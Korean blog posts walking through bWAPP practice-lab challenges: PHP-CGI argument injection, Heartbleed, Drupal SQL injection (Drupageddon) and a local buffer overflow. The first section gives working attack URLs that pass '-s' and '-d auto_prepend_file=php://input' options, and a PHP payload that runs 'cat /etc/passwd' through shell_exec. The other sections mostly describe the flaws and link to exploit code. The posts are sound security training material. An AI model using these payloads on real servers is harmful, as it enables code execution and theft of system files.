-s 소스 코드에 색을 입혀 보여줌

-d php.ini에 정의도니 설정 내용을 임의로 설정

http://localhost/bWAPP/admin/?-s 취약점 존재 시 소스코드가 노출

-d 옵션을 이용하여 설정 파일을 직접 변경하고 php 코드 실행이 가능, 현재 설정된 내용은 php.ini 파일에서 확인이 가능합니다. 다른 자세한 옵션은 참고를 확인해 주시기 바랍니다.

allow_url_fopen=1 : 외부의 URL로부터 파일을 호출

allow_url_include=1 : 외부의 파일을 include, include_once, require, require_once와 같은 파일로 include 허용

auto_prepend_file=php://input : HTTP Request Body로 데이터를 가져와 실행

파일 내용 확인

http://localhost/bWAPP/admin/?-d+auto_prepend_file%3d[파일명]+-n

버프 스위트 사용

http://localhost/bWAPP/admin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input

<?php $output = shell_exec('cat /etc/passwd'); echo "$output"; die; #output은 cat /etc/passwd 파일을 가져오겠다는 뜻입니다.

참고

https://www.php.net/manual/en/features.commandline.options.php

https://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include

비박스(bWAPP) A9 Heartbleed Vulnerability

태군 코드 — Mon, 24 Oct 2022 16:46:04 +0900

A9 - Heartbleed Vulnerability

하트블리드(Heartbleed)는 2014년 4월에 발견된 오픈 소스 암호화 라이브러리인 OpenSSL의 소프트웨어 버그입니다. 발표에 따르면, 인증 기관에서 인증받은 안전한 웹 서버의 약 17%(약 50만대)가 이 공격으로 개인 키 및 세션 쿠키 및 암호를 훔칠 수 있는 상태입니다.

heartbleed.php

heartbleed.php 페이지를 살펴 보면 Nginx 웹 서버가 취약한 OpenSSL 버전을 사용하고 있습니다.라는 메시지와 공격 스크립트를 확인할수 있습니다.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-0160

Heartbleed는 CVE-2014-0160으로 명시되어 있습니다. 참고 사이트를 통하여 스크립트 및 자료를 한 번씩 읽어 보시고 실습해보시기 바랍니다.

참고

https://www.exploit-db.com/exploits/32745

https://github.com/sensepost/heartbleed-poc

https://heartbleed.com/

https://blog.alyac.co.kr/76

비박스(bWAPP) A9 Drupal SQL Injection (Drupageddon)

태군 코드 — Mon, 24 Oct 2022 16:24:13 +0900

A9 - Drupal SQL Injection (Drupageddon)

드루팔(Drupal)은 PHP 언어로 개발된 오픈소스 기반의 콘텐츠 관리시스템(CMS)입니다. 워드프레스(WordPress)가 사용자 중심으로 쉽고 편리한 기능을 빠르게 구현하는 것에 중점을 둔 반면, 드루팔은 개발자 중심으로 복잡한 기능을 모두 구현할 수 있다는 특징이 있습니다.

sqli_drupal.php

sqli_drupal.php 페이지를 살펴 보면 특정 버전의 Drupal에서 SQL Injection 공격이 가능하다는 메시지와 CVE가 부여된 취약점 번호가 보이는 것을 확인할 수 있습니다.

CVE-2014-3704

설명

Drupal core 7.x 7.32 이전의 데이터베이스 추상화 API에 있는 expandArguments 함수는 준비된 명령문을 제대로 구성하지 않아 원격 공격자가 조작된 키가 포함된 어레이를 통해 SQL 주입 공격을 수행할 수 있습니다.

해당 취약점은 Exploit DB에도 명시되어 있으며 참고 사이트를 확인해 보시고 문제를 풀어 보시기 바랍니다.

참고

https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2014-3704

https://www.exploit-db.com/exploits/35150

https://www.exploit-db.com/exploits/34993

https://www.exploit-db.com/exploits/34992

https://www.exploit-db.com/exploits/34984

비박스(bWAPP) A9 Buffer Overflow (Local)

태군 코드 — Fri, 21 Oct 2022 17:12:59 +0900

A9 - Buffer Overflow (Local)

버퍼 오버플로 오류는 의도적 또는 비의도적으로 수정되어서는 안 되는 프로세스의 메모리 조각을 덮어쓰는 것이 특징입니다. IP(Instruction Pointer), BP(Base Pointer) 및 기타 레지스터의 값을 덮어쓰면 예외, 분할 오류 및 기타 오류가 발생합니다. 일반적으로 이러한 오류는 예기치 않은 방식으로 응용 프로그램 실행을 종료합니다. 버퍼 오버플로 오류는 char 유형의 버퍼에서 작업할 때 발생합니다.

버퍼 오버플로는 스택 오버플로[스택 오버플로] 또는 힙 오버플로[힙 오버플로]로 구성될 수 있습니다. 이 문서에서는 혼동을 피하기 위해 이 두 가지를 구분하지 않습니다.

bof_1.php

bof_1.php 소스코드

bof_1.php 메인 페이지와 소스코드를 살펴보면 메인 페이지에서는 힌트를 제공하고 소스 코드에서는 shell_exe를 통하여 쉘 명령을 실행한다는 것을 알 수 있습니다.

먼저 해당 문제를 풀기 위해서는 컴파일, 디버깅을 통한 메모리 분석, 쉘코드 작성을 통한 공격코드 삽입이 이루어져야 하며 여기서는 BOF(Buffer Overflow)가 무엇이고 어떻게 공격이 이루어지는지 참고에 있는 OWSAP 문서를 통하여 확인해 보시기 바랍니다.

해당 BOF에 관한 문제는 추후 어떻게 컴파일이 이루어 지고 디버깅을 어떻게 하는지 유닉스, 윈도를 나눠서 다룰 예정이며 쉘 코드 작성 방법과 어떤 툴들을 사용하는지 다룰 예정입니다.

참고

https://owasp.org/www-community/attacks/Buffer_overflow_attack

https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13.2-Testing_for_Stack_Overflow

https://owasp.org/www-community/vulnerabilities/Buffer_Overflow